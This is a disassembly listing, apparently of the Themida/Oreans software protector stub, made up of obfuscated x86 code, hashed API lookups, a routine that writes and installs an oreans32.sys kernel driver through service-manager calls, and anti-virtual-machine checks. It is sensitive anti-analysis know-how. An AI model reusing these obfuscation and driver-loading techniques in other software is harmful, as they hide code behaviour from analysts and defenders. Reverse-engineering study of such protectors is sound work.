		dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
		dd 0A85h, 1B900h, 5E90000h, 0B9000000h,	0
; ---------------------------------------------------------------------------
		or	ecx, ecx
		jz	loc_567A01
		sub	esi, ebx
		mov	[ebp+60DB5F5h],	esi
		jmp	loc_567A0B
; ---------------------------------------------------------------------------


loc_567A01:				; CODE XREF: Themida_:005679EEj
		mov	dword ptr [ebp+60DB5F5h], 0


loc_567A0B:				; CODE XREF: Themida_:005679FCj
		popa
		retn
; ---------------------------------------------------------------------------
		mov	ecx, eax
		jmp	loc_567C22
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 10h
		dd 67h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567C22:				; CODE XREF: Themida_:00567A0Fj
		jmp	loc_567D16
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+60B2845h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+60B0B01h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		push	104h
		lea	ebx, [ebp+60B099Dh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+60DBB68h]
		mov	edi, esi
		xor	al, al


loc_567C5A:				; CODE XREF: Themida_:00567C5Bj
		scasb
		jnz	loc_567C5A
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+60B2845h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+60B0B01h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		lea	esi, [ebp+60B099Dh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+60B2845h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+60B0B01h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		lea	edi, [ebp+60B2775h]
		lea	ecx, [ebp+60DBC8Eh]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_567CF8
		lea	esi, [ebp+60DB970h]
		lea	eax, [ebp+60DA5F9h]
		call	eax
		lea	ecx, [ebp+60B7305h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_567CF8:				; CODE XREF: Themida_:00567CD7j
		mov	byte ptr [ebp+60B2845h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+60B0B01h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_567D16:				; CODE XREF: Themida_:loc_567C22j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_567D2D
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_567D2D:				; CODE XREF: Themida_:00567D26j
		jmp	loc_56B502
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B502:				; CODE XREF: Themida_:loc_567D2Dj
		call	near ptr loc_56B50D+1
		fdivr	qword ptr [ebx+71h]
		test	dl, 4Ah


loc_56B50D:				; CODE XREF: Themida_:loc_56B502p
		fadd	dword ptr [ebx]
		test	ebx, ecx
		or	eax, es:[esi]
		pop	esi
		or	ah, 0E8h
		add	esi, 7242h
		mov	edx, [ebp+60B0B4Dh]
		mov	edi, 0
		mov	ax, 1944h


loc_56B52D:				; CODE XREF: Themida_:0056B591j
		push	dword ptr [edi+esi]
		cmc
		pop	ebx
		jmp	loc_56B545
; ---------------------------------------------------------------------------
		db 73h
		db 9, 0F6h
; ---------------------------------------------------------------------------
		push	edx
		sub	[edi+esi*2+8], eax
		aam	0BCh
		push	esi
		lodsd
		retf
; ---------------------------------------------------------------------------
		db 83h
; ---------------------------------------------------------------------------


loc_56B545:				; CODE XREF: Themida_:0056B532j
		sub	ebx, 4CCFF16Dh
		and	cx, 9883h
		xor	ebx, 7747C3A3h
		mov	ecx, [ebp+60B0419h]
		add	ebx, 316E82C0h
		cld
		push	ebx
		mov	dl, 0ACh
		pop	dword ptr [esi+edi]
		mov	[ebp+60B0609h],	esi
		mov	cx, 0B057h
		sub	edi, 5C8F1BCEh
		xor	[ebp+60B0B2Dh],	eax
		add	edi, 5C8F1BCAh
		mov	[ebp+60B2B61h],	ecx
		cmp	edi, 0FFFF8E50h
		jnz	loc_56B52D
		or	edx, [ebp+60B1339h]
		jmp	loc_56C64B
; ---------------------------------------------------------------------------
		dw 4441h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
		dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_56C64B:				; CODE XREF: Themida_:0056B59Dj
		mov	eax, esp
		push	0
		push	ebp
		call	sub_56C658
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56C658	proc near		; CODE XREF: Themida_:0056C650p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_56C658	endp

; ---------------------------------------------------------------------------
		dec	ebx
		aad	4Dh
		and	esi, [edx+58B67F0Eh]
		mov	[ebp+60B32B5h],	eax
		push	0
		push	edi
		call	sub_56C682
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56C682	proc near		; CODE XREF: Themida_:0056C67Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_56C682	endp

; ---------------------------------------------------------------------------
		dw 0C5E7h
		dd 89F1D4EBh, 0B09658Dh, 6AC08B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 93D4C351h
		dd 0AE99177h, 37000000h, 642E449Ah, 6EA8E346h, 0BDBD8358h
		dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h
		dd 43Dh, 2A358589h, 9D8D060Bh, 60DB31Ah, 585BD3FFh, 29D1BD83h
		dd 7400060Bh, 0B8535017h, 43Dh,	2A358589h, 9D8D060Bh, 60DB009h
		dd 585BD3FFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0D9C35040h, 8166140Eh, 8BC869EFh, 0B0011BDh, 66C08B06h
		dd 50ED781h, 0D981C08Bh, 7094590Ah, 5BDBD83h, 7500060Bh
		dd 0D1BD8309h, 60B29h, 53501374h, 0B8C08Bh, 8D000000h
		dd 0DB1BC9Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501174h
		dd 0B8h, 6D9D8D00h, 0FF060DB0h,	80585BD3h, 0BE9FDC5h, 0B0000000h
		dd 25963FECh, 0C1968396h, 0C08B592Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 73C35747h, 8106AFCFh, 0A09A06D2h
		dd 0CFB70F14h, 0B70FC08Bh, 0BDBD83D7h, 60B05h, 0BD830975h
		dd 60B29D1h, 50137400h,	0B8C08B53h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+60DB0EEh]
		call	ebx
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56C810
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+60DB03Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_56C810:				; CODE XREF: Themida_:0056C7FDj
		movzx	edx, ax
		push	0
		push	edi
		call	sub_56C81E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56C81E	proc near		; CODE XREF: Themida_:0056C816p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_56C81E	endp

; ---------------------------------------------------------------------------
		mov	cl, 0ACh
		sub	ecx, [di+1E9h]
		or	eax, [esi]
		mov	eax, eax
		mov	ecx, [ebp+60B18A9h]
		mov	eax, eax
		pusha
		mov	[ebp+60B3161h],	edi
		mov	eax, [ebp+60B021Dh]
		popa
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56C861
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56C874


loc_56C861:				; CODE XREF: Themida_:0056C856j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+60DB155h]
		call	ebx
		pop	ebx
		pop	eax


loc_56C874:				; CODE XREF: Themida_:0056C85Fj
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56C88E
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+60DB054h]
		call	ebx
		pop	ebx
		pop	eax


loc_56C88E:				; CODE XREF: Themida_:0056C87Bj
		mov	[ebp+60B02B5h],	edi
		mov	eax, eax
		mov	[ebp+60B15F1h],	edi
		mov	eax, eax
		mov	[ebp+60B21DDh],	edi
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56C8B6
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56C8C9


loc_56C8B6:				; CODE XREF: Themida_:0056C8ABj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+60DB087h]
		call	ebx
		pop	ebx
		pop	eax


loc_56C8C9:				; CODE XREF: Themida_:0056C8B4j
		sub	[ebp+60B1B71h],	ebx
		jnp	loc_56C8DF
		pusha
		mov	[ebp+60B1FC5h],	ecx
		mov	dl, 6
		popa


loc_56C8DF:				; CODE XREF: Themida_:0056C8CFj
		jb	loc_56C8EE
		jz	loc_56C8EE
		movzx	ecx, cx


loc_56C8EE:				; CODE XREF: Themida_:loc_56C8DFj
					; Themida_:0056C8E5j
		mov	eax, eax
		mov	dl, 82h
		mov	eax, eax
		sub	[ebp+60B2279h],	edi
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56C90C
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56C925


loc_56C90C:				; CODE XREF: Themida_:0056C901j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB31Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_56C925:				; CODE XREF: Themida_:0056C90Aj
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56C945
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB009h]
		call	ebx
		pop	ebx
		pop	eax


loc_56C945:				; CODE XREF: Themida_:0056C92Cj
		push	0
		push	ecx
		call	sub_56C950
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56C950	proc near		; CODE XREF: Themida_:0056C948p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_56C950	endp

; ---------------------------------------------------------------------------
		dd 0A9FC644Ch, 59EB8A50h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0D253A8C3h, 8F0F1492h
		dd 6, 32A18D89h, 85C6060Bh, 60B2845h, 56006A53h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0C3B78D99h, 0F850DDEh, 8D8BD3B7h, 60B1839h, 395F9068h
		dd 0E9D78A99h, 8, 0A767039Ch, 0B4EBE563h, 0B01B5FFh, 858D060Bh
		dd 60B390Dh, 8D8BFB8Bh,	60B0DDDh, 0BD8BD0FFh, 60B0AB9h
		dd 0AC58589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 8EB612C3h, 0BB4F2E9h, 0BA10C412h
		dd 6FA61214h, 816655B5h, 0C6C4CBCFh, 0B284585h,	8D8B5706h
		dd 60B1161h, 4520668h, 0CE85790h, 6C000000h, 5A33EB9Ah
		dd 7EDB90B0h, 0E8F2AAF3h, 12h, 0C985FC60h, 727453CAh, 0B9A9AEA2h
		dd 9F0775F8h, 5A598924h, 1B5FF59h, 1060B0Bh, 0B31F185h
		dd 8D98B606h, 0B390D85h, 9E906h, 6E2A0000h, 0CBC7044Ah
		dd 0FF69CF5Dh, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 858918D8h, 60B2411h, 4585C6F8h
		dd 43060B28h, 68D0B70Fh, 0BC907028h, 24559D01h,	0B5FF060Bh
		dd 60B0B01h, 21E9958Bh,	858D060Bh, 60B390Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3EC35545h, 0FB617C9Dh
		dd 0FF89DDCAh, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0E6D1555Eh, 76B79A30h
		dd 27A58589h, 8D89060Bh, 60B003Dh, 284585C6h, 8B4C060Bh
		dd 0B240595h, 1CE96806h, 0BD8BD9DAh, 60B1161h, 0CD04DF81h
		dd 0B5FF0770h, 60B0B01h, 68B0Fh, 85310000h, 60B0921h, 390D858Dh
		dd 39B9060Bh, 0FF42364Eh, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C0930F4Dh
		dd 0DE86E49h, 67000000h, 0F7D77642h, 270B4792h,	0C7AAB656h
		dd 19658501h, 0E85F060Bh, 14h, 70DE3CDDh, 371E904Dh, 0C15D7D4Dh
		dd 8C602DA7h, 0C60CC030h, 0FBB70F53h, 85895F5Ah, 60B2875h
		dd 0C6DFC580h, 0B284585h, 8B664606h, 4D8529D6h,	68060B1Ah
		dd 0BADE0614h, 10E960h,	97860000h, 396EAB5Eh, 4991916h
		dd 0E2F1ED4Ch, 81662BD2h, 61B326E1h, 0B01B5FFh,	0DE9060Bh
		dd 27000000h, 56EC796Dh, 7F286C5Dh, 0F3ED26EBh,	390D858Dh
		dd 0FE9060Bh, 0A6000000h, 52496C0Ch, 721CA512h,	0A00E6D7Ah
		dd 0D0FFD44Eh, 28D9958Bh, 8589060Bh, 60B21C5h, 10E9h, 2925AB00h
		dd 7775915h, 3C8EB3B1h,	94EB05E1h, 0C9BD891Eh, 0C6060B29h
		dd 0B284585h, 6A4706h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 79111BC3h, 0E726838h, 688D583Fh
		dd 8A0FB5E2h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	12C35545h, 19BD89BEh, 0FF060B07h, 0B0B01B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 613F2D74h, 0D858DD4h, 1060B39h, 0B0CC185h, 6AD0FF06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0AB9BC356h, 7E9FCh, 0F4CF0000h, 982A6629h
		dd 0D1858929h, 89060B13h, 0B15799Dh, 4585C606h,	47060B28h
		dd 5890Fh, 0E6BA0000h, 6859A4E8h, 83D0B5F3h, 9DBD8951h
		dd 5F060B19h, 0B01B5FFh, 8C0F060Bh, 6, 0ED59D09h, 858D060Bh
		dd 60B390Dh, 258D8B60h,	61060B2Bh, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F4A124C3h
		dd 0BCD7C5EBh, 31BBB0CBh, 0B0531B5h, 66D18106h,	8920F97Ch
		dd 0B051985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0BC1064F0h, 29AD8589h, 85C6060Bh
		dd 60B2845h, 9958B77h, 68060B23h, 0F397A8A3h, 0DDE98166h
		dd 15B5FFADh, 89060B03h, 0B0DADB5h, 0D858D06h, 0E8060B39h
		dd 0Fh,	0B1F39B5Bh, 0DAB35DA7h,	69D6C36Fh, 89E7EC18h, 0B2DE99Dh
		dd 0D0FF5906h, 8589FA8Bh, 60B000Dh, 4585C6FCh, 47060B28h
		dd 8728F0BFh, 85BD8B3Ch, 68060B20h, 8728FAF6h, 32E58D89h
		dd 840F060Bh, 20h, 13E860h, 1B1D0000h, 6E69247Fh, 4736AA0Fh
		dd 59A5112Fh, 0E5202D67h, 1EBB598Ah, 61313E34h,	0B01B5FFh
		dd 0E8F9060Bh, 0Eh, 0A4B813FDh,	0D73A3D33h, 237C170Bh
		dd 0EE99493h, 27000000h, 7873C204h, 0A0E8EDADh,	6D4F9F98h
		dd 858D5FD1h, 60B390Dh,	5820Fh,	12B90000h, 0F6E18DDh, 0D0FFCABFh
		dd 0DE9BB966h, 74639DBAh, 5D85890Dh, 6A060B16h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 105BC352h, 9E99E32Dh, 10E9h,	2E2DFD00h, 745AAF33h, 623013Bh
		dd 24010259h, 4585C67Bh, 43060B28h, 8DBA6657h, 0FC685AD1h
		dd 6ABC8E6Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0ADB8C353h, 0AEA15E2Dh, 44A4BA2Eh
		dd 13E81D8Eh, 37000000h, 41430F7Dh, 0EF7BC23Ch,	0AF010F0Bh
		dd 4DE17498h, 0D2819B77h, 17FBC7A0h, 1B5FF5Fh, 81060B0Bh
		dd 41AE21EFh, 0D858D6Ah, 66060B39h, 0D0FFD78Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E8C35343h, 10E96CACh
		dd 39F60E0Bh, 68D0FCEh,	9000000h, 0B2A9985h, 0B98D2306h
		dd 89060B05h, 0B026585h, 0AD9D8906h, 0C6060B19h, 0B284585h
		dd 8D894506h, 60B0C1Dh,	72696968h, 53006A8Eh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0A07D2ECFh
		dd 534F02A7h, 59CA8B66h, 0A45B966h, 0B01B5FFh, 2EB1060Bh
		dd 390D858Dh, 8166060Bh, 0FFC8BBF7h, 0E78166D0h, 8589D36Fh
		dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0CEC35646h, 0A121DD32h,	0E8BE470Fh, 12h, 0A72F4D29h
		dd 4D570A3Bh, 0D988099Dh, 0D7FB2C9Eh, 8D8B88E2h, 60B2DFDh
		dd 4585C65Ah, 44060B28h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 1CC35545h, 0E5EF077h,	3C94D193h, 0F2EC6468h
		dd 0FBB70FB8h, 0B01B5FFh, 10E9060Bh, 6000000h, 29EEDD61h
		dd 324864A8h, 0DBCEF087h, 8D39130Ch, 0B390D85h,	0FFFE8B06h
		dd 3DBD8BD0h, 89060B00h, 0B059985h, 75BF6606h, 4585C6EFh
		dd 43060B28h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	9DC35040h, 47D5A5E5h, 89529C84h, 0B088D85h, 4AA76806h
		dd 0BD03C076h, 60B1FD5h, 0B01B5FFh, 858D060Bh, 60B390Dh
		dd 6810Fh, 0BD2B0000h, 60B0719h, 0FC60D0FFh, 1AAD9D03h
		dd 8961060Bh, 0B0B8D85h, 0D58D2906h, 80060B17h,	0E00ECBDh
		dd 840F0006h, 0CEh, 0CE858DF8h,	8B060E00h, 0B080195h, 6A5006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0CFB0FFC3h, 0E8016AFCh, 6, 0F4259CADh, 958B684Fh, 60B1BB1h
		dd 6A006A5Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 89C3C356h
		dd 0B2761B5h, 0E9006A06h, 8, 0F49F975Dh, 14DBB6F9h, 27A595FFh
		dd 7E9060Bh, 50000000h,	0A2DC5B95h, 85898FE8h, 60B281Dh
		dd 15F1958Bh, 0FF6A060Bh, 2B69958Bh, 8C0F060Bh,	5, 0D0669ABFh
		dd 1DB5FF79h, 0E8060B28h, 0Bh, 0F9C25AD5h, 4508DE84h, 8968C1E4h
		dd 0B2AC99Dh, 95FF5A06h, 60B2411h, 2961B509h, 0C08B060Bh
		dd 0BD83EB8Ah, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h
		dd 0C08B5350h, 7D1B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh
		dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 7D1B8h, 35858900h
		dd 8D060B2Ah, 0DB0099Dh, 5BD3FF06h, 6AFB8B58h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 67B7C352h, 4990AEEBh, 4A818E1Eh, 0EE8AC08Bh,	284585C6h
		dd 8B47060Bh, 0B23058Dh, 0B5896006h, 60B2E41h, 0F7C16861h
		dd 0BD8993C8h, 60B02A1h, 0B01B5FFh, 958B060Bh, 60B0B25h
		dd 390D858Dh, 8166060Bh, 0FF9147E2h, 0B5B589D0h, 50060B1Eh
		dd 2E91958Bh, 858D060Bh, 60E050Fh, 2205BD8Bh, 0C7060Bh
		dd 94h,	220D9523h, 358060Bh, 0B2DE995h,	0FB58D06h, 8B060E05h
		dd 0B2A59BDh, 0D0FF5606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0ACC35343h, 0F1BD897Bh, 8D060B0Eh, 0E050F85h
		dd 4788306h, 3A850F06h,	80000000h, 85C77FC9h, 60E05A3h
		dd 1, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 16h
		dd 0AC35040h, 0AE93B4Ch, 1B000000h, 0DB4997A7h,	0EF00C301h
		dd 0B5BD8386h, 60B00h, 38850Fh,	85090000h, 60B2DF1h, 5A3BD83h
		dd 0F00060Eh, 2585h, 358D2B00h,	83060B29h, 0B08D1BDh, 840F0006h
		dd 12h,	85C7F88Bh, 60B0021h, 0
; ---------------------------------------------------------------------------
